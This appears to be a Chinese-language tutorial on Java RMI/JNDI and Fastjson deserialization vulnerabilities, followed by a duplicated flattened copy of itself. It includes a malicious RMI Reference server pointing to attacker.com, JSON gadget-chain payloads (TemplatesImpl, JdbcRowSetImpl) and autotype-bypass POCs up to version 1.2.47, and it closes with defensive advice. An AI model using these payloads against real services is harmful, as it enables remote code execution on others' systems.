从0到1RMI\JNDI\fastjson
字数 1872 2025-08-26 22:12:02

Fastjson与JNDI/RMI漏洞深入分析

1. RMI基础

1.1 RMI基本概念

RMI (Remote Method Invocation) 是Java的远程方法调用机制,允许在不同Java虚拟机上的对象之间进行通信。

关键实现要求

  • 远程类必须实现Remote接口
  • 通常继承UnicastRemoteObject类(或手动调用UnicastRemoteObject.exportObject()
public class HelloImpl implements IHello {
    protected HelloImpl() throws RemoteException {
        UnicastRemoteObject.exportObject(this, 0);
    }
    
    @Override
    public String sayHello(String name) {
        System.out.println(name);
        return name;
    }
}

1.2 RMI通信流程

  1. 服务端

    • 创建远程对象:ServiceImpl service = new ServiceImpl();
    • 注册远程对象:Naming.bind("rmi://127.0.0.1:1099/service", service);
  2. 客户端

    • 查找远程对象:ServiceInterface service = (ServiceInterface)Naming.lookup("rmi://127.0.0.1:1099/service");
    • 调用远程方法:String rep = service.cxk("ctrl");

组件说明

  • Stub:客户端代理
  • Skeleton:服务端代理

1.3 动态类加载

当本地找不到类时,RMI可以从远程URL下载类文件。这是RMI漏洞利用的关键机制。

2. JNDI基础

2.1 JNDI基本概念

JNDI (Java Naming and Directory Interface) 是Java的命名和目录服务接口。

核心功能

  • 命名服务:键值对绑定
  • 目录服务:对象可以有属性
  • 对象工厂:将命名服务中的数据转换为Java对象

2.2 JNDI初始化

// 方式1:使用Hashtable
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://www.example.com:8080");
Context ctx = new InitialContext(env);

// 方式2:使用系统属性
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL, "rmi://www.example.com:8080");
Context ctx = new InitialContext();

2.3 JNDI注入原理

lookup()参数可控时,可能造成JNDI注入:

String uri = args[0]; // 用户可控输入
Context ctx = new InitialContext();
ctx.lookup(uri); // 危险操作

3. JNDI注入利用

3.1 利用Reference类

Reference类表示对存在于命名/目录服务之外的对象引用,可以远程加载类。

恶意服务端示例

Registry registry = LocateRegistry.createRegistry(1099);
Reference refObj = new Reference("EvilObject", "EvilObject", "http://attacker.com/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);

3.2 利用条件与版本限制

协议 安全属性 默认值 影响版本
RMI java.rmi.server.useCodebaseOnly true (JDK>7u21) JDK>=6u45,7u21
RMI/CORBA com.sun.jndi.rmi.object.trustURLCodebase false JDK>=6u141,7u131,8u121
LDAP com.sun.jndi.ldap.object.trustURLCodebase false JDK>=8u191,7u201,6u211,11.0.1

4. Fastjson漏洞分析

4.1 Fastjson基础

Fastjson是阿里巴巴的JSON处理库,@type属性可指定反序列化的类。

基本用法

// 序列化
String json = JSON.toJSONString(obj);

// 反序列化
Object obj = JSON.parseObject(json, Object.class);

4.2 TemplatesImpl链

利用条件

  • Fastjson 1.2.22-1.2.24
  • 需要设置Feature.SupportNonPublicField

POC示例

{
  "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes":["恶意字节码Base64"],
  "_name":"a.b",
  "_tfactory":{},
  "_outputProperties":{}
}

调用链
TemplatesImpl#getOutputProperties()newTransformer()getTransletInstance()defineTransletClasses() → 恶意代码执行

4.3 JdbcRowSetImpl链

POC示例

{
  "@type":"com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName":"rmi://attacker.com/refObj",
  "autoCommit":true
}

调用链
setAutoCommit()connect()InitialContext.lookup() → JNDI注入

5. Fastjson版本绕过

5.1 1.2.25-1.2.41

绕过方法:使用[开头

{
  "@type":"[com.sun.rowset.JdbcRowSetImpl"[,
  "dataSourceName":"rmi://attacker.com/refObj",
  "autoCommit":true
}

5.2 1.2.42

绕过方法:双写L;

{
  "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
  "dataSourceName":"rmi://attacker.com/refObj",
  "autoCommit":true
}

5.3 1.2.25-1.2.47通杀POC

{
  "a":{
    "@type":"java.lang.Class",
    "val":"com.sun.rowset.JdbcRowSetImpl"
  },
  "b":{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://attacker.com/refObj",
    "autoCommit":true
  }
}

绕过原理:利用java.lang.Class加载类并缓存,绕过黑名单检查

6. 防御措施

  1. Fastjson

    • 升级到最新版本
    • 关闭autotype功能
    • 使用安全白名单
  2. JNDI/RMI

    • 升级JDK到安全版本
    • 设置安全属性限制远程类加载
    • 对用户输入进行严格过滤
  3. 代码层面

    • 避免使用lookup()接收用户输入
    • 对反序列化操作进行严格控制
Fastjson与JNDI/RMI漏洞深入分析 1. RMI基础 1.1 RMI基本概念 RMI (Remote Method Invocation) 是Java的远程方法调用机制,允许在不同Java虚拟机上的对象之间进行通信。 关键实现要求 : 远程类必须实现 Remote 接口 通常继承 UnicastRemoteObject 类(或手动调用 UnicastRemoteObject.exportObject() ) 1.2 RMI通信流程 服务端 : 创建远程对象: ServiceImpl service = new ServiceImpl(); 注册远程对象: Naming.bind("rmi://127.0.0.1:1099/service", service); 客户端 : 查找远程对象: ServiceInterface service = (ServiceInterface)Naming.lookup("rmi://127.0.0.1:1099/service"); 调用远程方法: String rep = service.cxk("ctrl"); 组件说明 : Stub :客户端代理 Skeleton :服务端代理 1.3 动态类加载 当本地找不到类时,RMI可以从远程URL下载类文件。这是RMI漏洞利用的关键机制。 2. JNDI基础 2.1 JNDI基本概念 JNDI (Java Naming and Directory Interface) 是Java的命名和目录服务接口。 核心功能 : 命名服务:键值对绑定 目录服务:对象可以有属性 对象工厂:将命名服务中的数据转换为Java对象 2.2 JNDI初始化 2.3 JNDI注入原理 当 lookup() 参数可控时,可能造成JNDI注入: 3. JNDI注入利用 3.1 利用Reference类 Reference 类表示对存在于命名/目录服务之外的对象引用,可以远程加载类。 恶意服务端示例 : 3.2 利用条件与版本限制 | 协议 | 安全属性 | 默认值 | 影响版本 | |------|----------|--------|----------| | RMI | java.rmi.server.useCodebaseOnly | true (JDK>7u21) | JDK>=6u45,7u21 | | RMI/CORBA | com.sun.jndi.rmi.object.trustURLCodebase | false | JDK>=6u141,7u131,8u121 | | LDAP | com.sun.jndi.ldap.object.trustURLCodebase | false | JDK>=8u191,7u201,6u211,11.0.1 | 4. Fastjson漏洞分析 4.1 Fastjson基础 Fastjson是阿里巴巴的JSON处理库, @type 属性可指定反序列化的类。 基本用法 : 4.2 TemplatesImpl链 利用条件 : Fastjson 1.2.22-1.2.24 需要设置 Feature.SupportNonPublicField POC示例 : 调用链 : TemplatesImpl#getOutputProperties() → newTransformer() → getTransletInstance() → defineTransletClasses() → 恶意代码执行 4.3 JdbcRowSetImpl链 POC示例 : 调用链 : setAutoCommit() → connect() → InitialContext.lookup() → JNDI注入 5. Fastjson版本绕过 5.1 1.2.25-1.2.41 绕过方法 :使用 [ 开头 5.2 1.2.42 绕过方法 :双写 L 和 ; 5.3 1.2.25-1.2.47通杀POC 绕过原理 :利用 java.lang.Class 加载类并缓存,绕过黑名单检查 6. 防御措施 Fastjson : 升级到最新版本 关闭autotype功能 使用安全白名单 JNDI/RMI : 升级JDK到安全版本 设置安全属性限制远程类加载 对用户输入进行严格过滤 代码层面 : 避免使用 lookup() 接收用户输入 对反序列化操作进行严格控制